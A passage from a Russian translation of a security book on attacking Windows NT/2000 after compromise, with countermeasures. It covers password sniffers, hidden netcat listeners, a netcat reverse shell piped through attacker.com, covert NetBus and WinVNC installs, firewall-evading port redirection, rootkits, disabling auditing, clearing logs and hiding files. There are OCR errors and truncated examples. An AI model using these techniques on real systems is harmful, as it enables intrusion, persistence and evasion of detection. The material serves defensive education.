Анализаторы сетевых пакетов Перехват пакетов, передаваемых в локальной сети, является одним из наиболее эффективных способов дальнейшего проникновения в сеть после того, как взломщик получил доступ к одному узлу. В настоящее время имеется множество средств перехвата пакетов, в том числе один из самых знаменитых коммерческих наборов анализа протоколов Sniffer Pro от компании Network Associate (http://www.nai.com). Этот комплект средств появился сразу же за выпуском прекрасной свободно распространяемой программы CaptureNet 3.12, являющейся частью набора SpeNet/PeepNet от Лаврентия Никулы (Laurentiu Nicula), который можно найти по адресу http://packetstorm.securify.com. Достаточно много можно сказать и о приложении Network Monitor, входящем в комплект поставки системы NT/2000. Эта утилита позволяет отслеживать трафик лишь локального узла. Однако при установке сервера SMS (Systems Management Server) можно воспользоваться полной версией Network Monitor. BUTTSniffer Среди взломщиков системы NT наиболее популярным средством является динамически загружаемая программа BUTTSniffer от Дилдога (DilDog), основного автора Back Orifice 2000. Программа BUTTSniffer состоит из двух основных компонентов, BUTTSniff.exe (139,264 байт) и BUTTSniff.dll (143,360 байт), каждый из которых можно переименовать. Для установки этих файлов достаточно просто загрузить их на целевой узел. Никаких дополнительных действий по установке не требуется. Запуск программы осуществляется из командной строки, в которой можно указать различные параметры. Параметр -1 позволяет получить список интерфейсов, доступных для перехвата пакетов. Взломщики наверняка воспользуются возможностью копирования всех захваченных данных в файл на жестком диске (для этого нужно не использовать параметры фильтрации), как показано в следующем примере. D:\Toolbox\buttsniffer>buttsniff-1 Утилита BUTTSniffer отличается нестабильностью. При ее использовании в течение продолжительного времени она может привести к краху системы NT (появлению синего экрана смерти).
fsniff Утилита fsniff написана компанией Foundstone, Inc., в которой авторы книги являются ведущими сотрудниками. Утилитой fsniff используется динамически загружаемый драйвер захвата пакетов (fsniff .sys), что значительно облегчает ее использование. Эта утилита выполняет автоматическую фильтрацию данных аутентификации, содержащихся в пакетах, как показано в следующем примере сеанса FTP. С:\tmp>fsniff
Анализаторы пакетов Win32 * на базе интерфейса WinPcap Многие популярные программы-анализаторы UNIX, предназначенные для захвата пакетов на уровне пользователей, созданы на базе интерфейса libpcap, не зависящего от используемой платформы. Свободно распространяемая версия Win32 этого интерфейса, WinPcap, была разработана группой исследователей из политехнического университета Торино (Politecnico di Torino) (http://netgroup-serv.polito.it/winpcap). Этот интерфейс предоставляет основу для создания некоторых интересных средств перехвата сетевых пакетов. Однако их неудобно устанавливать на удаленном узле и использовать из командной строки. Кроме того, в отличие от динамически загружаемых утилит BUTTSniffer и f sniff, для активизации таких средств зачастую требуется перезагрузка. В последующих разделах для полноты излагаемого материала, а также для облегчения дальнейших исследований в этой области, будут рассмотрены некоторые из средств, созданных на базе интерфейса WinPcap. WinDump Эта утилита, являющаяся аналогом утилиты tcpdump системы UNIX, написана авторами WinPcap. Как видно из приведенного ниже примера, эта утилита является простым средством перехвата пакетов, предоставляющим данные в необработанном виде. D:\>windump dsniff для Win32 Утилита dsniff является одним из самых лучших средств перехвата пакетов системы UNIX, предназначенных исключительно для получения паролей. Она была написана Дагом Сонгом (Dug Song) (http://naughty.monkey.org/~dugsong/dsniff/). Утилита dsniff автоматически выявляет и подробно анализирует каждый протокол, сохраняя лишь часть уникальных данных, используемых при аутентификации. D:\dsniff>dsniff
Контрмеры: защита от перехвата пакетов Если приведенные выше советы показались вам недостаточными, дополнительно можно порекомендовать следующее. При передаче информации по сети используйте механизмы шифрования, такие как сервер SSH (Secure Shell), протокол SSL (Secure Sockets Layer), шифрование почтовых сообщений POP (Pretty Good Privacy) или шифрование на уровне IP, которое обеспечивается при реализации виртуальных частных сетей на-базе протокола IPSec (см. главу 9). Это надежные средства защиты от атак, направленных на перехват пакетов. Использование сетей с коммутируемой архитектурой и виртуальных локальных сетей (Virtual Local Area Network) может значительно снизить риск взлома, однако в случае применения таких средств, как утилиты dsnif f и arpredirect из UNIX (см. главу 10), нельзя предоставить никаких гарантий. При печати второго издания этой книги был выпущен совместимый с системой NT/2000 сервер SSH, который можно найти по адресу http://marvin.criadvantage.com/caspian/Software/SSHD-NT/default.php. Многие годы он служил основой безопасного удаленного управления системами на базе UNIX, и очень интересно познакомиться с новой версией, которая позволяет из командной строки удаленно управлять системами NT/2000. Ее можно рассматривать как альтернативу терминального сервера. Более подробную информацию о сервере SSH можно найти по адресу http://www.employees.org/-satch/ssh/faq/ssh-faq.html. |
Удаленное управление и потайные ходы Мы не раз отмечали, что в системе NT недостаточно хорошо обстоят дела с удаленным выполнением команд, однако до этого момента картина освещалась несколько однобоко. Дело в том, что после получения статуса администратора у взломщика появляется целый ряд возможностей выполнения таких операций. Утилита remote.exe (NTRK)
В состав NTRK входят две утилиты, обеспечивающие удаленное выполнение команд: Remote Command Line (remote.exe) и Remote Command Service (rcmd.exe и rcmdsvc.exe, клиент и сервер соответственно). Эти утилиты включены лишь в серверный вариант NTRK. С:\> ас \\192.168.202.44 start schedule Для запуска команд в течение нескольких секунд можно использовать утилиту soon из набора NTRK. Теперь можно воспользоваться командой AT и запустить экземпляр remote. exe в серверном варианте, запланировав запуск через две минуты от текущего времени взламываемого компьютера (для использования в команде пробелов ее необходимо заключить в двойные кавычки). С помощью второй команды, как показано ниже, можно убедиться, что задание было запланировано корректно (для исправления ошибок воспользуйтесь первой командой AT с параметром [номер задания] /delete). С:\> at \\192.168.202.44 10:40Р ""remote /s cmd Когда наступает момент выполнения запланированной команды, соответствующий номер задания исчезает из листинга, выводимого командой AT. Если команда была введена корректно, это означает, что сервер remote заработал. Теперь взломщик имеет доступ к командной строке удаленной системы с помощью клиентского режима команды remote. Во избежание путаницы мы используем в примере для локальной системы приглашение D:>, а для удаленной — С:>. В данном примере используется команда DIR для просмотра каталога удаленной системы, а затем с помощью команды @Q завершается работа клиента, а сервер продолжает работать (команда @к завершает работу сервера). D:\> remote /с 192.168.202.44 secret Да, пожалуй, вряд ли ребята из Microsoft могли придумать что-то еше более простое для хакера средней руки! Теперь мы можем запускать файлы на удаленной системе, хотя только из командной строки. Еше одним ограничением утилиты remote.exe является то, что программы, использующие консольный программный интерфейс Win32, также работать не будут. Однако в любом случае это лучше, чем вообще отсутствие возможности удаленного запуска. Как мы вскоре увидим, с ее помощью на удаленной системе можно установить более мощные средства управления. Удаленный доступ к командной оболочке с помощью netcat
Еще одним простым способом организации "потайного хода" является применение "армейского швейцарского ножа TCP/IP"— утилиты netcat (http://www.ldpht. com/netcat). Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки NT, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в следующем примере. Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки NT cmd. exe); а -р указывает порт, который будет прослушиваться. С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080 D:\> nc 192.168.202.44 8080 Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика. NetBus
Невозможно, рассказывая о безопасности NT, умолчать о NetBus — "старшей сестре" широко известной утилиты Back Orifice (ВО) для Win 9x, разработанной группой хакеров "Культ мертвой коровы" (cDc — Cult of the Dead Cow). Она предназначена для удаленного управления и хакинга. Главное различие между NetBus и ВО состоит в том, что первая работает как на платформе Windows NT, так и в Win 9x (правда, последние версии ВО также работают в NT — подробнее см. в следующем разделе "Back Orifice 2000"). Первая версия утилиты, разработанной Карлом-Фриде-риком Нейктером (Carl-Fredrik Neikter), распространялась бесплатно, но в начале 1999 года появившаяся версия 2.0 вышла уже в варианте NetBus Pro, который распространяется узлом http://www.netbus.org по цене $15. В новой версии были устранены многие проблемы NetBus, такие как необходимость физического доступа для ее использования в режиме скрытой работы, а также несовместимость с некоторыми средствами доставки "троянских коней". Однако "взломанные" версии утилиты, имеющиеся на хакерских узлах в Internet, не поддерживают данных возможностей. Таким образом, в Internet можно найти лишь недостаточно надежные версии NetBus (последняя версия, выпущенная перед выходом NetBus Pro, имела номер 1.7). Учитывая, сколько новых возможностей реализовано в профессиональной версии, мы не будем тратить время на описание методов использования предыдущих версий. D:\temp>regini -m \\192.168.202.44 netbus.txt Данные параметры управляют основными функциями утилиты NetBus. Самыми важными из них являются следующие: General\TCPPort, который настраивает сервер NBSVR на прослушивание порта 80 (это лишь рекомендация, так как порт HTTP, скорее всего, не будет отфильтровываться маршрутизатором); visibility =3, значение, задающее режим скрытой работы; AutoStart = 1, включающее режим автоматического запуска серверной части NBSVR при загрузке Windows (при этом автоматически создается дополнительный параметр реестра в группе HKLM\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunServices, содержащий значение с типом REG_SZ вида С:\WINNT\SYSTEM32\NBSvr.EXE). Большинство остальных команд включено в программу, скорее для "невинных шалостей", а не для извлечения какой-то пользы (открытие и закрытие дисковода компакт-дисков, блокировка клавиатуры и т.д.). Одним из немногих действительно полезных средств является регистратор нажатия клавиш, диалоговое окно которого показано ниже. Кроме того, с помощью такой полезной функции, как перенаправление портов, можно использовать взломанный компьютер как плацдарм для проникновения на другие узлы сети.
Контрмеры против использования NetBus
Показанные выше изменения в системном реестре очень просто обнаружить и удалить, однако более старые версии NetBus размещали файл изменений реестра и файл сервера в разных местах и под разными именами (ранее выполняемый файл серверной части NetBus по умолчанию назывался patch.exe и часто переименовывался в [space] .exe). Кроме того, различные версии NetBus прослушивают разные порты (чаше всего по умолчанию используются порты 12345 и 20034). Наконец, все установленные по умолчанию конфигурационные параметры легко модифицировать в соответствии с желаниями взломщика. Поэтому самый лучший совет, который мы можем дать, состоит в том, чтобы найти хорошую утилиту, позволяющую удалить NetBus. Современные антивирусные пакеты легко справляются с этой задачей, поэтому нужно их регулярно использовать. Однако сначала убедитесь, что антивирусный пакет в процессе проверки не ограничивается поиском имен стандартных файлов NetBus и параметров системного реестра. Кроме того, мы считаем, что нужно также регулярно проверять параметры, управляющие запуском программ при загрузке Windows (см. раздел "Параметры Реестра, Обеспечивающие Выполнение Программ" выше в данной главе), поскольку избавиться от вредоносной программы, которая всякий раз запускается вместе с Windows, невозможно. Back Orifice 2000
Хотя первая версия Back Orifice не работала в системе NT, всего за год ее программисты из группы хакеров "Культ мертвой коровы" (Cult of the Dead Cow) справились с задачей переноса своего детища на эту платформу. Версия Back Orifice 2000 (ВО2К) появилась 10 июля 1999 года, чем изрядно подпортила настроение администраторам NT, которые посмеивались над ВО9х По предоставляемым функциям ВО2К практически не отличается от ВО9х в том, что касается удаленного управления. Мы уже подробно рассматривали соответствующие функции в главе 4, поэтому не будем повторять их здесь еще раз, а сосредоточимся лишь на том, как распознать и удалить ВО2К, установленную в вашей сети. Контрмеры: защита от Back Orifice 2000
Как и в случае с NetBus, большинство ведущих разработчиков антивирусного программного обеспечения обновили свои программные продукты, так что теперь с их помощью можно распознать и удалить ВО2К. Поэтому самый простой способ обезопасить себя от ВО2К — регулярно обновлять антивирусный пакет. Существуют также и специальные средства обнаружения и удаления ВО, однако к ним нужно относиться с осторожностью. Некоторые из них не удаляют ВО2К, а устанавливают, играя роль "троянских коней". Одним из продуктов, которым можно доверять, является Internet Scanner компании Internet Security Systems (ISS). С его помощью можно выявить присутствие ВО2К в сети, проверяя все находящиеся в режиме ожидания запросов порты. Удаленная атака на GUI системы NT с помощью WinVNC
Удаленное управление с помощью утилит командной строки — это хорошо, но все же NT является операционной системой с мощным графическим интерфейсом. Программа NetBus предоставляет возможность удаленного управления с помощью графического интерфейса, но версия, имеющаяся в нашем распоряжении во время написания книги, работает слишком медленно и к тому же нестабильно. Тем не менее, существует прекрасное средство, свободное от всех этих недостатков, — пакет Virtual Networking Computing (VNC), созданный кембриджской лабораторией AT&T и распространяемый через https://www.comparitech.com/vpn/what-is-a-vnc-and-how-does-it-differ-from-a-vpn/ (более подробное обсуждение VNC приведено в главе 13). Одна из причин, по которой VNC выгодно отличается от прочих программ аналогичного назначения (помимо столь примечательного факта, что VNC абсолютно бесплатна!), заключается в том, что ее установка через удаленное сетевое соединение выполняется не намного сложнее, чем локальная установка. Используя удаленный сеанс командной строки, который был рассмотрен выше, достаточно лишь установить на удаленный компьютер службу VNC и обеспечить ее скрытый запуск, внеся одно-единственное изменение в системный реестр. Ниже приведено краткое описание этой процедуры, но для того, чтобы лучше разобраться в методах управления VNC из командной строки, мы все же рекомендуем изучить полную документацию по VNC, которую также можно найти по указанному выше адресу URL. HKEY_USERSX.DEFAULTXSoftware\ORL\WinVNC3 Затем с помощью утилиты regini эти параметры необходимо поместить в системный реестр удаленного компьютера. С:\> regini -m \\192.168.202.33 winvnc.ini Наконец установите программу WinVNC в качестве службы и запустите ее. В следующем примере показано, как это сделать с помощью удаленного сеанса командной строки. С:\> winvnc -install С:\> net start winvnc Теперь можно запустить приложение vncviewer и подключиться к удаленному компьютеру. Ниже показаны два диалоговых окна, в первом из которых приложение vnc viewer уведомляет пользователя о том, что установлен сеанс связи с "дисплеем О", имеющим IP-адрес 192.168.202.33. (Синтаксис узел-дисплей эквивалентен принятому в системе оконного интерфейса X Window системы UNIX. Все системы, работающие под управлением Windows, по умолчанию обозначаются как дисплей 0.) Второе диалоговое окно предназначено для ввода пароля (вы еще не забыли, какое слово мы выбрали в качестве пароля?). Вуаля! Перед вами во всей своей красе появляется изображение рабочего стола удаленного компьютера, как показано на рис. 5.9. При этом указатель мыши ведет себя так, словно вы держите в руках не свою мышь, а мышь удаленного компьютера. Остановка и удаление WinVNC
Самый простой способ остановки службы WinVNC и ее удаления состоит в использовании двух следующих команд. net stop winvnc Для удаления оставшихся в реестре параметров воспользуйтесь утилитой из набора NTRK REG.EXE, как показано в следующем примере. C:\>reg delete \\192.168.202.33
|
Перенаправление портов Выше было рассмотрено несколько программ, которые можно использовать для удаленного управления из командной строки. Все эти средства обсуждались в контексте установки непосредственного удаленного соединения. Однако, что делать в той ситуации, когда брандмауэр блокирует прямой доступ к целевому компьютеру? Подобную преграду взломщики могут обойти с помощью перенаправления портов (port redirection). Этот вопрос подробно будет изложен в главе 14, однако сейчас мы познакомимся с некоторыми средствами и приемами, которые могут оказаться полезными для хакинга компьютеров под управлением системы NT. Захват командной оболочки м помощью netcat Если имеется возможность поместить утилиту netcat на целевой компьютер, расположенный позади брандмауэра, то через любой требуемый порт можно получить "в свое распоряжение" удаленную командную оболочку. Такую ситуацию мы называем "захватом оболочки", поскольку в этом случае на рабочем компьютере взломщика сосредоточиваются все функции оболочки удаленной системы. Вот пример команды, запущенной взломщиком из удаленной командной строки. nс attacker.com 80 | cmd.exe | nс attacker.com 25
Утилита rinetd Реализация перенаправления портов с помощью трех настроенных вручную сеансов netcat может оказаться далеко не наилучшим способом. Для этого можно воспользоваться различными утилитами, специально предназначенными для перенаправления портов. Эти средства можно найти в Internet. Одной из наиболее мощных утилит является rinetd — сервер перенаправления Internet Томаса Боутела (Thomas Boutell), который можно найти по адресу http://www.boutell.com/rinetd/index.html. С ее помощью можно перенаправить TCP-соединения с одного IP-адреса и порта на другой. Утилита rinetd функционирует подобно datapipe (см. главу 14). Существует также версия, поддерживающая интерфейс Win32 (включая 2000), а также Linux. Утилиту rinetd очень легко использовать: достаточно просто создать конфигурационный файл, содержащий правила передачи пакетов, в следующем формате. Утилита fpipe Утилита fpipe — средство передачи/перенаправления исходных пакетов TCP через заданный порт. Она разработана в компании Foundstone, Inc., к которой авторы этой книги имеют непосредственное отношение. Утилита fpipe позволяет создать поток TCP и дополнительно задать требуемый исходный порт. Ее удобно применять для тестового проникновения через брандмауэры, разрешающие прохождение определенных типов пакетов во внутреннюю сеть.
Самой примечательной особенностью утилиты fpipe является возможность задать исходный порт. В процессе тестового проникновения это зачастую необходимо для обхода брандмауэра или маршрутизатора, передающего лишь данные, предназначенные определенным портам (например, порту TCP 25, используемому почтовым сервером). Обычно клиентским соединениям TCP/IP назначаются исходные порты с большими номерами, которые брандмауэр, как правило, пропускает через фильтр. Однако тот же брандмауэр должен пропускать данные DNS (фактически, он это и делает). С помощью утилиты fpipe для потока данных можно принудительно задать определенный исходный порт, в данном случае порт DNS. С этого момента этот поток будет рассматриваться брандмауэром как данные "разрешенной" службы и, таким образом, будет пропускаться во внутреннюю сеть. Пользователи должны знать, что если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIMEJHAIT и CLOSEJHAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных/удаленных адреса/порта IP, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено. |
Основные контрмеры против атак, направленных на расширение привилегий Как же избавиться от всех программ, установленных в ходе изучения вами данной главы, и "залатать" все оставшиеся "дыры" в защите? Поскольку многие из них были созданы с доступом на уровне администратора, что позволяет использовать все аспекты архитектуры NT, а большинство нужных нам файлов могли быть переименованы и (или) настроены десятками различных способов, эта задача довольно нетривиальна. Мы предлагаем следующие решения общего характера, затрагивающие четыре основные области, к которым так или иначе относятся описываемые в данной главе вопросы: имена файлов, параметры системного реестра, процессы и порты. Для ознакомления с некоторыми дополнительными контрмерами против описанных атак мы настоятельно рекомендуем прочитать о "потайных ходах" в главе 14. Если взломщику удалось получить привилегии администратора, то лучшим выходом из ситуации является полная переустановка системного программного обеспечения с использованием проверенных носителей. Искушенный взломщик может настолько хорошо скрыть определенные "потайные ходы", что их не удастся обнаружить даже опытным исследователям. Этот совет дан в основном для создания полноты картины. Его не рекомендуется применять при организации подобных атак.
Имена файлов Контрмеры, построенные на использовании имен файлов, по всей видимости, наименее эффективны, поскольку любой мало-мальски соображающий взломщик либо переименует файлы, либо предпримет другие меры, чтобы скрыть их (см. ниже раздел "Сокрытие следов"). Тем не менее, обезопасив себя в этом отношении, вы сможете еще на "дальних подступах" обнаружить хотя бы наименее изобретательных взломщиков. Параметры системного реестра В отличие от утомительного поиска файлов с определенными именами в надежде, что они не были изменены, поиск параметров системного реестра может оказаться особенно эффективным, поскольку большинство из рассмотренных программ помешает строго определенные параметры в строго определенные места системного реестра. Хорошим местом для начала поиска являются группы параметров HKLM\SOFTWARE и HKEY_USERS\ .DEFAULT\Software, в которых большинство устанавливаемых приложений помещают свои параметры. В частности, утилиты NetBus Pro и WinVNC сохраняют свои параметры следующим образом.
С помощью утилиты командной строки REG.EXE, входящей в состав NTRK, удалить данные параметры из реестра довольно просто, в том числе и на удаленных компьютерах. При этом используется следующий синтаксис. Параметры системного реестра, управляющие запуском программ в процессе загрузки Основываясь на своем опыте, можем отметить, что практически все взломщики помещают параметры своих программ в стандартную группу параметров системного реестра, управляющих запуском приложений при загрузке Windows. Поэтому на предмет наличия вредоносных или подозрительных параметров нужно регулярно проверять соответствующие области системного реестра, перечисленные ниже.
Кроме того, необходимо как можно жестче ограничить доступ пользователей к этим группам параметров. По умолчанию группа EVERYONE имеет разрешения Set value к группе параметров HKLM\ . . \. . \Run. Для того чтобы отменить эти привилегии, воспользуйтесь командой Security>Permissions в редакторе системного реестра regedt32. В данном случае взломщик в любой момент может скрытно подключиться к системе, по крайней мере до тех пор, пока администратор, взявшись за ум, не проверит системный реестр и не удалит из него соответствующий параметр. Процессы Для обнаружения тех хакерских инструментов, которые нельзя переименовать или скрыть каким-либо другим способом, можно проанализировать список выполняющихся на компьютере процессов. Например, с помощью команды AT можно запланировать задание, которое просматривает список процессов и удаляет из него такие обнаруженные процессы, как remote.exe или пс.ехе. Поскольку для использования сервера remote в системном администрировании нет особых причин (особенно, если учесть, что эта утилита не выполняет аутентификации), то для периодического удаления ее из списка процессов можно использовать команду kill.exe из набора NTRK. В следующем примере показано, как с помощью команды AT запланировать задание, которое будет выполняться каждый день в шесть часов утра и удалять процесс remote. Это немного грубо, но зато эффективно — вам остается лишь настроить время запуска в соответствии со своими предпочтениями. C:\>at 6А /е:1 Для этих же целей можно использовать утилиту rkill.exe из набора NTRK. Она отличается от kill. exe тем, что может выполняться на удаленном компьютере, а также тем, что в отличие от утилиты kill.exe, нуждается в предоставлении ей в качестве параметра идентификатора удаляемого процесса (PID — Process ID). PID процесса удаленного компьютера можно получить с помощью утилиты pulist.exe, которая также входит в состав NTRK. Можно создать целую автоматизированную систему, в которой регулярно запускается утилита pulist и собирает информацию о выполняющихся на узлах сети запрещенных процессах с последующей передачей этой информации rkill. Конечно, еще раз нужно оговориться, что такую систему очень легко обойти, присвоив выполняемому файлу remote.exe какое-нибудь другое, не вызывающее подозрений имя, например WINLOG.EXE. Однако она сможет эффективно противостоять процессам, которые нельзя переименовывать, например winVNC. EXE. Порты Даже если такие утилиты, как remote или пс, были переименованы, утилита netstat поможет выявить их присутствие по наличию портов, находящихся в состоянии ожидания или соединения. Периодический запуск netstat с целью проверки подобных соединений — это иногда наилучший способ найти их. В следующем примере показано, как утилита netstat, запущенная на целевом сервере в то время, когда взломщик подключился к нему с помощью утилит remote, nc и установил соединение с портом 8080, отображает результаты опроса портов (описание параметра -an можно узнать, введя в командной строке команду netstat /?). Обратите внимание, что в соединении remote используется порт TCP 139, а утилита netcat находится в состоянии ожидания и имеет одно установленное соединение с портом TCP 8080 (остальные данные, отображаемые netstat, удалены для наглядности). С:\> netstat -an Из приведенного фрагмента листинга команды netstat видно, что наилучшей защитой против использования утилиты remote является блокирование доступа к портам 135-139 потенциальных целей или на уровне брандмауэра либо отключение привязки NetBIOS для незащищенных адаптеров, как описывалось в разделе "Контрмеры: Защита От Подбора Пароля" выше в данной главе. FPORT - Process port mapper |
Набор Rootkit — полный взлом системы А что, если даже сам код операционной системы окажется под контролем взломщика? Эта идея достаточно хорошо опробована для платформы UNIX. Закономерно, что для замены стандартных исполняемых файлов "троянскими конями" обычно требуется получить учетную запись root системы UNIX на целевом компьютере. Наборы программ, выполняющих эту операцию, получили название "отмычек". "Отмычки", применяемые в UNIX, подробно рассматриваются в главе 8, а обсуждение "отмычек" вообще можно найти в главе 14. Отмычки" NT/2000 Нет ничего удивительного в том, что в 1999 году благодаря группе Грега Хогланда (Greg Hogland, http://www.rootkit.com) система Windows NT/2000 "приобрела" свой собственный набор "отмычек". Грег застал врасплох сообщество Windows, продемонстрировав рабочий прототип таких инструментов, который способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах "троянских коней" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро NT, в результате чего будут захвачены системные вызовы. С помощью набора "отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям "троянских коней". Полученный результат способен превзойти ожидания от внедрения "троянских коней": пользователь не может быть уверен даже в целостности исполняемого кода. Контрмеры: защита от набора "отмычек" Если вы не можете доверять даже команде dir, значит, пришло время признать себя побежденным: создайте резервную копию важных данных (кроме двоичных файлов!), удалите все программное обеспечение и переустановите его с проверенных носителей. На полагайтесь на резервные копии, поскольку неизвестно, в какой момент взломщик получил контроль над системой, — вы можете восстановить тех же самых "троянских коней". D:\Toolbox>md5sum d:\test.txt > d:\test.md5 К сожалению, утилита MDSsum одновременно работает лишь с одним файлом (конечно, использование сценариев несколько смягчает это неудобство). Перенаправление исполняемых файлов, выполняемое набором "отмычек" системы NT/2000, теоретически может нейтрализовать подсчет контрольных сумм. Однако поскольку код при этом не изменяется, но в то же время "захватывается" и передается через другую программу, то такой прецедент все же можно выявить. Необходимо упомянуть еще несколько важных утилит, предназначенных для проверки содержимого двоичных файлов. К ним относится старая утилита UNIX strings, перенесенная на платформу Windows (также разработана компанией Cygnus), BinText от Робина Кейра и мощный редактор текста/ шестнадцатеричных данных UltraEdit32 для Windows, который можно найти по адресу http: //www.ultraedit.com. Мы считаем, что редактор BinText лучше всего поместить в папку SendTo, так чтобы его можно было активизировать при щелчке правой кнопкой мыши на имени файлов в проводнике Windows. Для этих же целей редактор UltraEdit32 помещает в контекстное меню соответствующую команду. net start _root_ В Windows 2000 появилось средство защиты файлов операционной системы (Windows File Protection), которое предотвращает перезапись системных файлов, установленных программой инсталляции Windows 2000 (для этого около 600 файлов хранится в папке %systemroot%). В последних сообщениях, появившихся в бюллетене NTBugtraq, содержится информация о том, что систему WFP можно обойти, особенно, если ранее были получены привилегии администратора. |
Сокрытие следов Как только злоумышленник получит права администратора, он, скорее всего, постарается скрыть факт своего присутствия в системе. Затем, получив всю интересующую его информацию, он создаст потайные ходы и примет все меры, чтобы спрятать установленные им утилиты. Если с обеими задачами он справится успешно, то подготовка и проведение повторной атаки займет у него гораздо меньше времени. |
Отключение аудита Если владелец взламываемой системы хоть немного беспокоится о безопасности, он обязательно включит режим аудита, о чем мы уже говорили выше в данной главе. Поскольку ведение журналов может снизить производительность интенсивно работающих серверов, особенно если регистрируются такие события, как, например, успешное выполнение функций управления пользователями и группами (флажок Success для события User and Group Management в диалоговом окне Audit Policy диспетчера пользователей), многие администраторы NT либо вообще не включают функций контроля, либо включают лишь некоторые из них. Однако первое, что делает злоумышленник, пытаясь получить привилегии администратора, проверяет, активизирован ли режим аудита, чтобы случайно не "засветиться". Утилита auditpol из набора NTRK позволяет управлять этим процессом. В следующем примере показано, как с помощью утилиты auditpol отключается режим аудита на удаленном компьютере. С:\> auditpol /disable Закончив работу, взломщик может снова включить режим аудита с помощью команды auditpol /enable. |
Очистка журнала регистрации событий Если деятельность, связанная с получением статуса администратора, оставила красноречивые следы в журнале регистрации событий системы NT, с помощью приложения просмотра событий взломщик может просто стереть все записи журнала. Для этого злоумышленнику достаточно запустить приложение Event Viewer на своем компьютере и подключиться к узлу, к которому он получил доступ. После выполнения аутентификации взломщик может открывать, читать и очищать журналы регистрации событий удаленного узла. При удалении уничтожаются все записи, кроме одной, которая сообщает о том, что журнал регистрации был очищен посторонним. Конечно, даже такого сообщения вполне достаточно, чтобы забить тревогу, но, к сожалению, в распоряжении злоумышленника имеются и другие способы. Например, он может найти файлы журналов в каталоге \winnt\system32 и отредактировать их вручную, хотя это не так-то просто, учитывая сложность синтаксиса журналов NT. |
Скрытие файлов Если злоумышленнику удастся сохранить на взломанной системе установленные им программы, это значительно облегчит его задачу при повторном проникновении. Но, с другой стороны, именно по наличию неизвестно откуда взявшихся программ системный администратор может судить о том, что компьютер был взломан. Таким образом, злоумышленнику нужно предпринять какие-то шаги, чтобы как можно лучше скрыть файлы, которые потребуется запустить при последующих атаках. attrib Самый простой способ сокрытия файлов состоит в том, чтобы после их копирования в выбранный каталог воспользоваться старой командой DOS attrib, как показано в следующем примере. Использование потоков в файлахМТРЗ Если на целевом узле используется файловая система NTFS, то для сокрытия файлов взломщик может воспользоваться еще одним приемом. Дело в том, что система NTFS поддерживает несколько потоков (stream) информации внутри файла. Система поддержки потоков в NTFS трактуется компанией Microsoft как "механизм добавления дополнительных атрибутов или информации к файлу без реструктуризации файловой системы". Например, потоки используются при включенном режиме совместимости NTFS с файловой системой Macintosh. Однако к этому же механизму можно прибегнуть и для сокрытия в потоках набора инструментов, установленных хакером. Контрмеры: поиск потоков Единственным надежным средством, с помощью которого можно обнаружить потоки в файлах NTFS, является утилита Streamfinder компании March Information Systems. Недавно ее приобрела компания Internet Security Systems (ISS), которая, по всей видимости, больше не будет распространять эту утилиту через европейский Web-узел. Копию утилиты Streamfinder можно получить по адресу http://www.hackingexposed.com. Еще одним хорошим средством выявления файловых потоков является утилита sf ind Ди-джея Гласера (JD Glaser). |
Резюме В этой главе мы рассмотрели настолько широкий спектр возможных атак Windows NT, что у многих читателей может сложиться ошибочное представление о недостаточно надежной системе защиты этой операционной системы. Если это так, значит, мы не справились со стоявшими перед нами задачами. В таком случае хотелось бы еще раз подчеркнуть, что удаленный взлом практически не имеет шансов на успех без привилегий администратора, а получить эти привилегии можно лишь некоторыми хорошо известными способами: путем подбора пароля, его перехвата из сетевого потока данных или с использованием методов социальной инженерии, примененных к доверчивым служащим.
|
Глава 6. УЯЗВИМОСТЬ WINDOWS 2000
|
Уязвимость WINDOWS 2000 Осенью 1999 года компания Microsoft открыла доступ через Internet к нескольким тестовым серверам с бета-версией операционной системы Windows 2000 Server на узле Windows2000test.com, предлагая всем желающим попытаться взломать этот программный продукт. Материал этой главы основывается на информации, изложенной в разделах главы 3, посвященных вопросам инвентаризации операционной системы Windows NT/2000, а также в главеб, поэтому настоятельно рекомендуем прочитать эти главы, прежде чем приступать к изучению настоящей главы. В процессе обсуждения будут отмечены многие новые возможности обеспечения безопасности, включенные в Windows 2000. Эта новая функциональность поможет системным администраторам избежать многих из описанных ниже проблем. |
Предварительный сбор данных Как упоминаюсь в главе 1, большинство злоумышленников стараются получить максимум информации, не обращаясь напрямую к интересующему их серверу. Основным источником для предварительного сбора информации является система доменных имен DNS (Domain Name System) — стандартный протокол Internet, обеспечивающий преобразование IP-адресов и осмысленных имен типа www.hackingexposed.com. Перенос зоны DNS Поскольку пространство имен активного каталога операционной системы Windows 2000 основывается на использовании системы доменных имен, компания Microsoft существенно обновила реализацию сервера DNS в Windows 2000 с целью обеспечения потребностей активного каталога. По умолчанию перенос зоны DNS возможен на любой удаленный узел, что является основным средством сбора предварительной информации. Более подробные сведения по этому вопросу содержатся в главе 3. Отключение переноса зоны К счастью, реализация системы DNS для Windows 2000 допускает простую возможность ограничения переноса зоны, как описано в главе 3. |
